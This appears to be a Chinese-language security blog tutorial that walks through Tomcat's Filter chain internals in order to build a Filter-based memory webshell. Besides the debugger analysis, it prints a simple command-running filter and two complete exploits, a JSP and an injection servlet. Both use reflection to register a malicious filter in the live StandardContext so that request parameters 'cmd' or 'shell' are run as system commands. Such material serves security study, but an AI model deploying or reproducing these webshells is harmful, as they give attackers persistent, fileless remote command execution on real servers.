项目搭建

法一

有些基本步骤见上篇(基础篇)

我这里踩了好多坑,有很多地方大家需要注意的:

image-20250320204437855

web.xml:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>com.xiaofuc.filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>Web</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.1.9.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.100</version>
<scope>provided</scope>
</dependency>
</dependencies>

</project>

为了防止Tomcat服务器终端在输出中文时变成乱码,在编辑配置里加上:

1
-Dfile.encoding=utf-8

image-20250320204523323

法二(推荐)

新建项目的时候直接选择Jakarta EE

image-20250322151304908

下一步中,点击规范,勾选Servlet即可。

image-20250322152953830

!!!注意,Tomcat的版本需要10+,不然之后会运行不起来。

Tomcat Filter分析

前置分析

先分析下web.xml里面有关filter的部分:(看注释)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
version="6.0">
<filter>
<filter-name>111</filter-name>
<!-->指定过滤器名字,随便取</!-->
<filter-class>com.xiaofuc.filtershell.HelloFilter</filter-class>
<!-->指定过滤器的包的路径</!-->
</filter>
<filter-mapping>
<filter-name>111</filter-name>
<url-pattern>/*</url-pattern>
<!-->过滤器拦截的路由,这里值全部路由</!-->
</filter-mapping>
</web-app>

HelloFilter.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.xiaofuc.filtershell;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpFilter;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;

public class HelloFilter extends HttpFilter {

@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws ServletException, IOException {
System.out.println("准备启动过滤");
chain.doFilter(req, res);
System.out.println("过滤已结束");
}
}

HelloServlet.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.xiaofuc.filtershell;

import java.io.*;

import jakarta.servlet.http.*;
import jakarta.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {

System.out.println("Servlet,启动!");
}
}

我们在访问/hello-servlet路由时,会发现:

image-20250323164755979

结论:

在访问路由对应路由时,过滤器先收到请求,执行doFilter()

触发chain.doFilter(),chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet。(这里的原理见后面的正向分析)

Filter低等马实现(理论)

为什么说是理论?

因为我们不可能在真实的情境中,写一个Filter对象在目标的代码中,并且还调整其web.xml配置。

经过上面的分析,我们肯定能想到一些基本的利用思路:

把马写在doFilter()中,再通过方式来调整web.xml中的filter配置,在访问路由时触发。

注意!

我们在利用低等马的时候,需要进入到filter与servlet同时包含的路由中才能触发。

实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.xiaofuc.filtershell;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import jakarta.servlet.http.HttpFilter;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class Filter_ma1 extends HttpFilter {

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = exec.getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();

chain.doFilter(request, response);
}
}

image-20250323170455727

接下来,我们来探究如何实现内存马:

Filter正向分析

断点下这里,把碍事的print语句去掉。

image-20250323165145168

跟进,ApplicationFilterChain#doFilter()->internaldoFilter()

image-20250322170711728

internalDofilter()

image-20250322170838139

image-20250322170904730

通过下面的变量展示,我们可以对ApplicationFilterChain#filters建立初步印象:

是一个装着filiter元素的数组,第一个很明显是我们构造的filter,第二个应该是Tomcat自带的filter。

接下来的操作大概就是从filters数组中取出元素,然后做一些巴拉巴拉的操作。

pos变量一开始是1,所以取出的是Tomcat的filter。

internaldoFilter()->filter.doFilter()

image-20250322171826703

接着跟没跳转到源码,应该是对Tomcat的filter执行doFilter()操作,具体内容不知道,也无需知道。

接着又会回到ApplicationFilterChain#doFilter()->internaldoFilter()

image-20250322172452661

这一次不会再走进if语句了,直接else出来。

接着会走到这里:

image-20250322172549033

之后不用看了。

我们得出结论:

ApplicationFilterChain类就是第一个调用器,它的调用结构是一层一层地调用filter元素的doFilter()方法而进行的。

最后一个filter元素会调用到:servlet.service(),即调用Servlet进行处理。

疑问:ApplicationFilterChain到底从哪里来的呢?继续往下看。

Filter逆向分析

image-20250322173122393

断点还是下在这里,别步入,先观察调用栈:

image-20250322173226606

我们关注一下自下而上最后一个invoke:StandardWrapperValve#invoke()

image-20250323145538244

在这个方法中,我们看到了filterChain的来源。

跟进到createFilterChain方法:

第89行,关注下这个filterMaps变量:

image-20250323180202473

image-20250323180259904

filterMaps数组存放着多个filterMap,filterMap中存储着filter名字以及捕获url范围等信息。

继续往下看:

image-20250323155338471

我们现在addFilter()这里下断点,看看filterConfig里的内容:

image-20250323172941354

记住这三个重要的变量,而且我们很明显能看到filterDef里装着的就是我们web.xml关于filter的配置。

再看看addFilter():

image-20250323172636913

回想下前面正向分析的时候,这个filters数组中的元素原来装的就是filterConfig。

filterConfig是由context.findFilterConfig()返回来的。

image-20250323155619086

context是StandardContext类的对象,看看findFilterConfig():

image-20250323155658452

filterConfigs是一个HashMap:

image-20250323155729181

之后不用看了。

总结

关于filter:

1
2
3
4
5
6
7
FilterDefs(装在FilterConfig中):存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例
等基本信息
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对
应的 URLPattern

只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了

Filter内存马攻击思路

真正的内存马实现:

找到注入点,动态地在内存中创建Filter对象

需要构造恶意的FilterConfig以及FilterMaps,这里需要用到StandardContext类

前置知识(了解即可)

后面构造EXP时,我们要用到它们:

ServletContext
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。

ApplicationContext
org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);

//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);

//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){


Filter filter = new Filter() {

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}

};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


//构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


//将filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("successfully");
}
%>

构造思路

  1. 获取当前ServletContext对象
  2. 通过该对象获取filterConfigs
  3. 自定义恶意filter对象
  4. 为恶意filter对象创建FilterDef
  5. 将ServletContext对象 filter对象 FilterDef全部都设置到filterConfigs

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class InjectMemoryServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
resp.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}

小踩坑&注意事项

在本地演示的时候,记得Servlet代码的捕获路由不能为:/*

image-20250323182730047

否则发送至shell.jsp的请求会被拦截,直接交给Servlet代码进行处理,导致内存马不执行。